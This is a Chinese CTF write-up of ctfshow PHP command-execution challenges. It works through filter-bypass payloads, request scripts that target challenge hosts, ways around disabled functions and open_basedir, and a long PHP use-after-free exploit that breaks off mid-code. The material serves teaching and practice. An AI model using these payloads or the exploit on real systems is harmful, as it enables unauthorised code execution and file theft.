CTFSHOW-命令执行

文章发布时间:

最后更新时间:

  1. 命令执行 需要严格的过滤

    只过滤了flag

    image-20220912002308798

学到了一些关于preg_match函数的正则匹配小细节

1
2
3
4
5
6
模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) : True

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) : False

小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。

​ linux命令知识点:

  1. 对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制

image-20220912002817580

  1. nl命令

    1
    2
    3
    The nl utility reads lines from the named file or the standard input if the
    file argument is omitted, applies a configurable line numbering filter
    operation and writes the result to the standard output.

    image-20220912003154074

其实大体上是可以分为两个思路:

  1. 针对c的输入参数命令进行绕过限制
1
2
3
4
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl""ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
  1. 针对c,通过构建另外一个传参点来绕过对c的直接匹配
1
2
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
  1. awk命令 主要是用来格式化文本内容的

    1
    2
    3
    awk [参数] [处理内容] [操作对象]
    预定义变量
    $0 : 代表当前行(相当于匹配所有)

    统计每行的字段数(NF)

    image-20220913000908773

    取出值($NF)

    image-20220913001059423

  2. 命令执行,需要严格的过滤

    过滤了flag system和php

    上一题继续打payload

    1
    echo `nl fl''ag.ph''p`

    或者针对system的过滤

    有一些其他命令执行函数可以学习使用

    1
    2
    3
    4
    5
    6
    7
    8
    system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
    exec : 执行一个外部程序,回显最后一行,需要用echo输出。
    shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
    popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
    proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
    passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
    pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
    `(反引号):同 shell_exec()

    测试一下上面可以回显的函数

    1
    system passthru echo配合
  3. 命令执行,需要严格的过滤

    过滤了cat sort shell . 空格 单引号

    针对单引号,我们可以换成双引号

    针对空格

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    ${IFS} 但不能写作 $IFS
    $IFS$9
    %09
    <>
    <
    $IFS%09

    另外同cat功能的函数还有:
    more:一页一页的显示档案内容
    less:与 more 类似 head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    strings: find the printable strings in a object, or other binary, file

    一些payload学习

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    预期解
    passthru("tac%09f*");
    非预期
    c="\x73\x79\x73\x74\x65\x6d"("nl%09fla*");等价于system()
    c=echo`strings%09f*`;
    c=echo`strings\$IFS\$9f*`必须加转义字符

    首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
    然后找到flag.php
    print_r(next(array_reverse(scandir(dirname(__FILE__)))));
    之后高亮显示即可
    c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
    类似
    c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  4. 命令执行,需要严格的过滤

    多过滤了反引号 echo 分号和左括号

    利用上面出现过的一个文件包含搭配php伪协议payload是可以绕过部分正则匹配的

    针对左括号,include函数可以不需要括号;针对分号,可以使用php短标签来闭合,起默认隐含了一个分号在其中

    payload学习

    1
    2
    3
    c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    c=include$_GET[1]?>&1=data://text/plain,<?php system("nl fl*")?>
    c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy
  5. 命令执行,需要严格的过滤

    多过滤了一个双引号,上面的payload继续打

  6. 命令执行,需要严格的过滤

    多过滤了一个冒号,继续

  7. 命令执行,需要严格的过滤

    多过滤了<和=,继续

  8. 命令执行,需要严格的过滤

    过滤了数字和/,继续(之前payload中的数字参数名得换一下)

  9. 命令执行,需要严格的过滤

    题面换了

    image-20220913091815048

    一般见include都是想着php伪协议进行文件包含,由于过滤了flag所以如果要是用的话只能用data协议进行命令执行

    1
    c=data://text/plain,<?php system("nl fl*");?>

    另一个思路是通过日志文件包含,注入UA头进行命令执行,这道题的中间件为nginx

    1
    c=/var/log/nginx/access.log
  10. 命令执行,需要严格的过滤

    多过滤了php,file关键字,前面使用的data伪协议需要采用base64编码传输了

    不知道咋回事,php短标签经过base64加密后就会失去隐含的分号

    1
    c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJubCBmbCoiKTs/Pg==
  11. 命令执行,需要严格的过滤

    image-20220913101535901

    加了一个后缀限制,00截断?

    并没有,版本都到php 7+了

    因为前面data协议已经闭合了PHP执行语句,拼接起来就变成了c=data://text/plain,<?php system("nl fl*");?>.php,所以后缀并不会影响代码的执行

  12. 命令执行,需要严格的过滤

    image-20220913102047294

    好家伙,直接来个狠的。

    题目来源于GXYCTF的禁止套娃

    注意的一个细节在于过滤的基本都是符号,并且括号是中文括号,英文括号依然可以使用,同时也没过滤分号。所以一些函数还是可以使用的,这道题考察的就是如何去拼接组合这些函数来构建一个命令执行语句

    一些可以使用的备选函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串

    get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。
    payload:var_dump(current(get_defined_vars()));

    session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
    如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,
    即传入?exp=eval(hex2bin(session_id(session_start())));
    并设置cookie:PHPSESSID=706870696e666f28293b
    session_start 函数是为了开启session

    配合使用的函数:
    print_r(scandir(‘.’)); 查看当前目录下的所有文件名
    var_dump()
    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
    each() 返回数组中当前的键/值对并将数组指针向前移动一步
    end() 将数组的内部指针指向最后一个单元
    next() 将数组中的内部指针向前移动一位
    prev() 将数组中的内部指针倒回一位
    array_reverse() 以相反的元素顺序返回数组

    思路一:

    • 先扫描当前目录所有文件

      原始payloadvar_dump(scandir('.'))

      由于点号被过滤,我们可以利用localeconv()返回数组中的点号元素

      1
      c=var_dump(scandir(current(localeconv())))

      image-20220913121936212

      可以看到flag.php位于倒数第二个元素,接下来就是用到数组操纵元素来定位到flag.php。通过highlight_fileshow_source(两者一样)来显示出来

      1
      c=show_source(next(array_reverse(scandir(current(localeconv())))));

    思路二:

    • 通过cookie中的seesionid值来进行命令执行,首先需要开启session。其次可控输入session。最后获取sessionid进行命令执行

      1
      2
      c=session_start();system(session_id());
      PHPSESSID=ls

      image-20220913122957809

      不过PHPSESSID的值符号组成有限制

      image-20220913123031662

  13. 过滤不严,命令执行

    image-20220914152635603

这里关键是过滤了所有的数字和字母(但是这里的数字指的是ascii码48-57的),所以url编码的那种是可以通过过滤的,也就是没法使用正常的函数了。并且也不能用异或、取反、自增操作

这题主要利用到的是|或运算符以及括号,我们可以利用穷举脚本,来通过或运算获得我们想要的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# coding=gbk
import re
import requests

url = "http://829e7146-c785-4947-933d-53f8953b6f17.challenge.ctf.show/"
useful = []
# 先筛一遍所有可用字符
for i in range(256):
ch = chr(i)
bool = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', ch, re.I)

if bool:
continue
else:
useful.append(i)
left = ""
right = ""
def find_k(ch):
global left
global right
for i in useful:
for j in useful:
if((i | j) == ord(ch)):
left += chr(i)
right += chr(j)
return
# 构造命令执行语句
arg1 = "system"
arg2 = "cat fla*"
for ch in arg1:
find_k(ch)
data1 = "(\"" + left + "\"|\"" + right + "\")"

left = ""
right = ""
for ch in arg2:
find_k(ch)
data2 = "(\"" + left + "\"|\"" + right + "\")"
data = {
"c": data1 + data2
}
print(data)

r = requests.post(url, data)
print(r.text)
  1. 命令执行,需要严格的过滤

    题面如图

    image-20220914193400810

    有个拼接操作,/dev/null是什么?

    1
    2
    3
    4
    在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
    0 标准输入
    1 标准输出
    2 错误输出

    那么> & 1 2这些组合起来又是啥?

    1
    2
    3
    4
    5
    2>/dev/null   把错误输出到空设备(即丢弃)
    >/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
    2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃

    something interesting: 重定向> 和 >> 前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.

    这里主要考查的是管道分割符一类的运用。我们的需求就是由于输出会被丢弃无法回显,所以我们不能让后面这些语句执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    思路一:%0a截断
    也就是使两条语句不在一行上执行
    c=ls%0a
    思路二:管道符的运用
    | 直接执行后面的语句
    || 如果前面执行的语句出错,则执行后面的语句
    & 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
    && 如果前面的语句为假则直接出错,不执行后面的语句
    ; 执行完前面的再执行后面的
    c=ls ||

    image-20220914194642233

    image-20220914194803436

    image-20220914194834018

  2. 命令执行,需要严格的过滤

    可以看到,过滤了cat和;

    上面总结的继续用

    image-20220915144519587

  3. 命令执行,需要严格的过滤

    多了个flag,不影响!

    image-20220915144848265

  4. 命令执行,需要严格的过滤

    过滤了空格

    再复习一下一些trick

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ${IFS} 但不能写作 $IFS
    $IFS$9
    %09
    <>
    <
    $IFS%09

    payload:
    c=tac%09fl*||
<img src="/image-20220915145105110.png" alt="image-20220915145105110" style="zoom:50%;" />
  1. 命令执行,需要严格的过滤

    这回过滤了* $ 数字,还是可以基于上面绕过滴

    image-20220915145405097

    1
    c=tac<fl''ag.php||
  2. 命令执行,需要严格的过滤

    这回是针对查看文件的命令的过滤,没啥影响

    image-20220915145702664

48-49. 命令执行,需要严格的过滤

image-20220915150024647

payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26
  1. 命令执行,需要严格的过滤

    image-20220915150738198

    多过滤了\x09 \x26

    继续

  2. 命令执行,需要严格的过滤

    哦吼,终于把tac给过滤了,可惜还有vi和nl

    image-20220915151002392

    1
    c=vi<fla\g.php||
  3. 命令执行,需要严格的过滤

    这关把尖括号给ban了,但是注意这关没$,这不故意的嘛

    image-20220915151318107

1
c=nl${IFS}fl''ag.php||

然而是个假的flag,稍微找一下就知道在根目录了

  1. 命令执行,需要严格的过滤

    这关更换题面了,过滤的情况没啥变化

    image-20220915152010359

ls,可以看到如下几个文件,花里胡哨的整这么多文件,其实还是读flag.php

image-20220915152140748

  1. 某位牛出的题

    这可太秀了,相当于不能出现这些关键词序列了,可以看到里面也有nl了,不过还有其它的可以用,至于flag,占位符可以用

    1
    2
    3
    4
    5
    6
    7
    8
    if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
    }
    }else{
    highlight_file(__FILE__);
    }

    引入两个新的输出文件信息的命令

    1
    2
    paste merge corresponding or subsequent lines of files
    rev reverse lines of a file
  2. 命令执行,需要严格的过滤

    这波平平无奇了属于是,直接ban掉所有字母

    image-20220915154318640

    新姿势新姿势

1
2
3
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
base64命令 Encode and decode using Base64 representation

就是我们由于存在环境变量,所以一般命令的输入写简写就可以,但其实全路径(mac的base64命令所在目录有区别)是这样的,而我们可以使用占位符来替换掉所有字母部分的内容来加一绕过(这里的trick主要就是利用了base64命令包含数字所以可以被匹配到)

image-20220915154809716

payload

1
c=/???/????64 ????.???
  1. 命令执行,需要严格的过滤 php特性以及shell命令执行

    直接ban掉了所有数字和字母,以及$和(这些经典trick的利用符

    image-20220915155321365

根据P神的无数字无字母getshell,可以结合上传临时文件shell文件命令执行来绕过

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://240d04e7-6751-459f-8e10-2cef8ed0e801.challenge.ctf.show/?c=. /???/????????[@-[]"
files = {
"files": ("evil.txt", "cat flag.php")
}

while True:
r = requests.post(url, files=files)
if "ctfshow" in r.text:
print(r.text)
break
  1. 命令执行,需要严格的过滤 shell的小trick

    我超了,过滤的更多了,这一关点号、中括号、短横、通配符也用不了了。但是这关给我们留了$符号和括号,并且题面已经帮我们写好了cat和.php,想让我们构造出数字出来

    image-20220916171603566

    这里运用到了shell的一些骚姿势

    1
    2
    3
    4
    5
    6
    $(()) 代表做一次运算,因为里面为空,也表示值为0
    $((~$(()))) 对0作取反运算,值为-1
    $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
    $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

    如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

    所以要构造出36,我们就得先构造-37

    1
    payload1 = "$((" + "$((~$(())))"*37 + "))"

    image-20220916172852985

    然后再对其进行取反

    1
    payload2 = "$((~" + payload1 + "))"

    image-20220916173037459

    payload

    1
    c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
  2. 命令执行,突破禁用函数

    表面上看上去平平无奇可以直接蚁剑连上去

    image-20220916184258285

    不过考点应该不是这么搞,试一试手动的方法

    image-20220916184506959

    这题主要是换成了一个代码执行函数eval

    image-20220916184801400

    首先尝试执行命令执行类函数c=echo 'ls'(反斜杠),结果报错

    1
    shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

    类似的还有system, 也就是命令执行类函数都被禁了

    所以函数的思路转换为读文件一类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    常用读文件函数
    highlight_file($filename);
    show_source($filename);
    print_r(php_strip_whitespace($filename));
    print_r(file_get_contents($filename));
    readfile($filename);

    // file — 把整个文件读入一个数组中
    print_r(file($filename));
    var_dump(file($filename));

    include($filename); // 非php代码
    include_once($filename); // 非php代码
    require($filename); // 非php代码
    require_once($filename); // 非php代码

    // fopen去读取文件内容
    fread(fopen($filename,"r"), $size);
    print_r(fread(popen("cat flag", "r"), $size));
    print_r(fgets(fopen($filename, "r"))); // 读取一行
    fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
    print_r(fgetcsv(fopen($filename,"r"), $size));
    print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
    print_r(fscanf(fopen("flag", "r"),"%s"));
    print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
  3. 命令执行,突破禁用函数

    题面一致,本来想查下phpinfo()看看禁用了哪些函数,结果phpinfo都给我禁了…

    先查下当前目录文件

    1
    2
    3
    4
    c=print_r(scandir('.'));
    c=print_r(scandir(dirname('__FILE__')));

    Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

    然后读取函数,新姿势(其实跟之前的差不多,之前的只能读取一部分)

    1
    2
    3
    4
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
    c=$a=fopen("flag.php","r");echo fread($a,"1000");
  4. 命令执行,突破禁用函数

    题面一致

    有个骚姿势,理论上我们是可以直接url访问flag.php的,但是因为php文件被代码执行了,我们是看不到内容的,一个思路就是复制(或者重命名)并更换文件名为不被当作代码解析的后缀名,即

    1
    2
    3
    copy("flag.php","flag.txt");  // 将文件从 source 拷贝到 dest

    rename("flag.php","flag.txt"); // 尝试把 oldname 重命名为 newname

61-65. 命令执行,突破禁用函数

题面一致,payload可以一直用c=show_source('flag.php');

  1. 命令执行,突破禁用函数,求你们别秀了

    题面一致,终于

    1
    show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

    然而它的同胞highlight_file还健在…,话说php为啥整这么多别名函数

    有个特别的就是flag.php上的是个假的,需要重新扫一下目录,flag在根目录

  2. 命令执行,突破禁用函数,求你们别秀了

    题面一致,过滤掉了print_r(),它的类似功能函数是var_dump

    扫描目录

    1
    c=var_dump(scandir('/'));

    扫出flag.txt

    直接文件包含即可

    1
    c=include('/flag.txt');
  3. 命令执行,突破禁用函数,求你们别秀了

    题面直接报错,不过应该还是之前的结构

    1
    Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

    az,自己ban自己?

    还是上一题payload

  4. 命令执行,突破禁用函数,求你们别秀了

    题面与上一题一致

    var_dump()也给过滤了

    这里该列一下读取目录的一些方式了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    print_r(glob("*")); // 列当前目录
    print_r(glob("/*")); // 列根目录
    print_r(scandir("."));
    print_r(scandir("/"));
    $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
    $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
    $a=glob("/*");foreach($a as $value){echo $value." ";}
    $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

    // 后面几个其实主要用到echo 可以输出这个目录条目的特点

    然后依然文件包含即可

  5. 命令执行,突破禁用函数,求你们别秀了

    我去题面本身禁用的函数更多了,不过不影响payload

    1
    2
    3
    4
    5
    6
    Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

    Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

    Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
    你要上天吗?
  6. 命令执行,突破禁用函数,求你们别秀了

    题面一致,这次给了题面源码,审一波

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date: 2020-09-05 20:49:30
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    ini_set('display_errors', 0);
    // 你们在炫技吗?
    if(isset($_POST['c'])){
    $c= $_POST['c'];
    eval($c);
    $s = ob_get_contents(); // 返回输出缓冲区的内容
    ob_end_clean(); // 清空(擦除)缓冲区并关闭输出缓冲
    echo preg_replace("/[0-9]|[a-z]/i","?",$s);
    }else{
    highlight_file(__FILE__);
    }

    ?>

    ob_get_contents()会截获缓冲区的内容,并且通过正则替换,所有字符串中的数字和字母将被替换为?

    针对ob_end_clean(),官网提到此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。。也就是说,一切祸源于ob_end_clean(),也就是说我们想要阻止该函数关闭缓冲区,提前退出程序不就行了!

    1
    c=include("/flag.txt");exit();
  7. 命令执行,突破禁用函数,求你们别秀了 突破open_basedir限制

    题面一致,依然给了代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date: 2020-09-05 20:49:30
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    ini_set('display_errors', 0);
    // 你们在炫技吗?
    if(isset($_POST['c'])){
    $c= $_POST['c'];
    eval($c);
    $s = ob_get_contents();
    ob_end_clean();
    echo preg_replace("/[0-9]|[a-z]/i","?",$s);
    }else{
    highlight_file(__FILE__);
    }

    ?>

    看起来和上一题没啥变化,应该就是在过滤函数上增加了

    先扫目录,先尝试上一题的payload

    1
    2
    3
    $d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}
    -----------------------------------------------------------------------------------
    疯狂报Warning: readdir() expects parameter 1 to be resource, bool given in /var/www/html/index.php(19) : eval()'d code on line 1

    payload,根目录下存在flag0.txt

    1
    2
    $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit;
    flag0.txt

    尝试直接包含,报错

    1
    2
    3
    Warning: include(flag0.txt): failed to open stream: No such file or directory in /var/www/html/index.php(19) : eval()'d code on line 1
    Warning: include(): Failed opening 'flag0.txt' for inclusion
    (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1

    原来是有open_basedir的限制

    1
    2
    open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。
    当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

    学习P神14年的研究(666)

    原来php5.3之后有了DirectoryIterator这个类方便直接去遍历目录,且可以无视open_basedir的限制

    不过后面命令执行就不清楚了,直接脚本小子…(据说是uaf堆漏洞

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
    public $a;
    public function __destruct() {
    global $backtrace;
    unset($this->a);
    $backtrace = (new Exception)->getTrace();
    if(!isset($backtrace[1]['args'])) {
    $backtrace = debug_backtrace();
    }
    }
    }

    class Helper {
    public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
    $address <<= 8;
    $address |= ord($str[$p+$j]);
    }
    return $address;
    }

    function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
    $out .= sprintf("%c",($ptr & 0xff));
    $ptr >>= 8;
    }
    return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
    $str[$p + $i] = sprintf("%c",($v & 0xff));
    $v >>= 8;
    }
    }

    function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
    }

    function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
    $header = $base + $e_phoff + $i * $e_phentsize;
    $p_type = leak($header, 0, 4);
    $p_flags = leak($header, 4, 4);
    $p_vaddr = leak($header, 0x10);
    $p_memsz = leak($header, 0x28);

    if($p_type == 1 && $p_flags == 6) {

    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
    $data_size = $p_memsz;
    } else if($p_type == 1 && $p_flags == 5) {
    $text_size = $p_memsz;
    }
    }

    if(!$data_addr || !$text_size || !$data_size)
    return false;

    return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
    $leak = leak($data_addr, $i * 8);
    if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    $deref = leak($leak);

    if($deref != 0x746e6174736e6f63)
    continue;
    } else continue;

    $leak = leak($data_addr, ($i + 4) * 8);
    if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    $deref = leak($leak);

    if($deref != 0x786568326e6962)
    continue;
    } else continue;

    return $data_addr + $i * 8;
    }
    }

    function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
    $addr = $start - 0x1000 * $i;
    $leak = leak($addr, 0, 7);
    if($leak == 0x10102464c457f) {
    return $addr;
    }
    }
    }

    function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
    $f_entry = leak($addr);
    $f_name = leak($f_entry, 0, 6);

    if($f_name == 0x6d6574737973) {
    return leak($addr + 8);
    }
    $addr += 0x20;
    } while($f_entry != 0);
    return false;
    }

    function trigger_uaf($arg) {

    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
